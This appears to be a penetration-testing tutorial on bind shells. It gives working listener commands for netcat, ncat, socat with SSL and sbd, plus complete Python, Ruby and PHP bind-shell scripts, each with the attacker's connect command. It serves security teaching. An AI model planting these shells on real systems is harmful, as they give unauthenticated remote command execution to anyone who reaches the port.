Introduction
In continuation of the discussion on reverse shells, we now shift our focus to bind shells. Both methods offer remote access to systems, but while reverse shells require the target machine to connect back to the attacker’s system, bind shells work the opposite way.
Table of contents
Open Table of contents
What is a Bind Shell?
A bind shell sets up a listener on the target machine, waiting for the attacker to connect. This is particularly useful when the target machine is accessible over the network, and it allows the attacker to start communication.
In a bind shell, the target machine “binds” a command shell to a specific port. The attacker then connects to this port and gains access to the machine.
How it Works
- Target Machine Sets a Listener: The target machine creates a socket and listens on a port, waiting for a connection from the attacker.
- Attacker Connects: Once the listener is active, the attacker can connect from their machine and take control of the command shell.
The target machine acts as the server, and the attacker as the client.
Netcat
One of the simplest ways to create a bind shell is using netcat
. Let’s take a look at how this can be done:
On the Target Machine
nc -lvp <PORT> -e /bin/bash
-l
tells Netcat to listen for incoming connections.-v
enables verbose mode to show detailed output.-p
specifies the port.-e
runs the specified command (/bin/bash
) when a connection is established.
On the Attacker’s Machine
Once the bind shell is set up, the attacker can connect by running:
nc <TARGET_IP> <PORT>
The attacker’s machine then has access to the shell bound on the target’s port PORT.
Netcat (OpenBSD)
In OpenBSD version of netcat
(without -e
/-c
), we need to use FIFO named pipes.
On the Target Machine
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp <PORT> > /tmp/f
On the Attacker’s Machine
Once the bind shell is set up, the attacker can connect by running:
nc <TARGET_IP> <PORT>
Ncat
Another way to create a bind shell is using ncat
:
On the Target Machine
ncat -lvp <PORT> -e /bin/bash --allow <ATTACKER_IP>
-l
tells Ncat to listen for incoming connections.-v
enables verbose mode to show detailed output.-p
specifies the port.-e
runs the specified command (/bin/bash
) when a connection is established.--allow
allows only specified IP address to connect to Ncat
On the Attacker’s Machine
Once the bind shell is set up, the attacker can connect by running:
nc <TARGET_IP> <PORT>
The attacker’s machine then has access to the shell bound on the target’s port PORT.
Socat
Socat, like netcat
, can be used to create bind shells with advanced networking options:
On the Target Machine
socat TCP-LISTEN:<PORT>,reuseaddr,fork EXEC:/bin/bash
On the Attacker’s Machine
socat - TCP:<TARGET_IP>:<PORT>
or use simple nc
:
nc <TARGET_IP> <PORT>
Socat with SSL
On the Target Machine
socat OPENSSL-LISTEN:<PORT>,cert=cert.pem,key=key.pem,verify=0,fork EXEC:/bin/bash
On the Attacker’s Machine
socat - OPENSSL:<TARGET_IP>:<PORT>,verify=0
SBD
sbd is a Netcat-clone, we can use it to setup both unencrypted and encrypted bind shells:
On the Target Machine
sbd -pl <PORT> -e /bin/sh
On the Attacker’s Machine
sbd <HOST> <PORT>
SBD with encryption
On the Target Machine
sbd -l -c on -k <ENCRYPTION_PHRASE> -p <PORT> -e /bin/sh
On the Attacker’s Machine
sbd -k <ENCRYPTION_PHRASE> <HOST> <PORT>
Python
Another popular method is to use Python, especially when Netcat is unavailable. The following Python script starts a bind shell on selected port.
On the Target Machine
#!/usr/bin/env python
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", <PORT>))
s.listen(1)
conn, addr = s.accept()
while True:
cmd = conn.recv(1024).decode()
output = subprocess.getoutput(cmd) + "\n"
conn.send(output.encode())
conn.close()
s.close()
On the Attacker’s Machine
Connect using netcat
:
nc <TARGET_IP> <PORT>
Ruby
Ruby is quite handy for quick bind shell implementations:
On the Target Machine
#!/usr/bin/env ruby
require 'socket'
server = TCPServer.new('0.0.0.0', <PORT>)
socket = server.accept
while cmd = socket.gets
IO.popen(cmd, 'r') do |output|
socket.puts output.read
end
end
On the Attacker’s Machine
nc <TARGET_IP> <PORT>
PHP
PHP can create a bind shell, especially useful when the target has a web server:
On the Target Machine:
<?php
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($socket, '0.0.0.0', <PORT>);
socket_listen($socket);
$client = socket_accept($socket);
while (true) {
$input = socket_read($client, 1024);
$output = shell_exec($input);
socket_write($client, $output, strlen($output));
}
socket_close($client);
?>
On the Attacker’s Machine
nc <target_ip> 1234
These methods provide a range of options for creating bind shells depending on the target environment. Each has its own advantages, whether you’re scripting in Ruby, PHP, or utilizing powerful networking tools like Socat.
Security Concerns
While bind shells are effective, they have notable security drawbacks. Opening a listening port on the target system can expose it to anyone with network access.
Conclusion
Bind shells, while less common than reverse shells, are an important part of a penetration tester’s toolkit. They offer a powerful method for remote command execution when access to the target network is available. As with reverse shells, there are several tools and scripting languages that can be used to achieve this, making them versatile for various environments.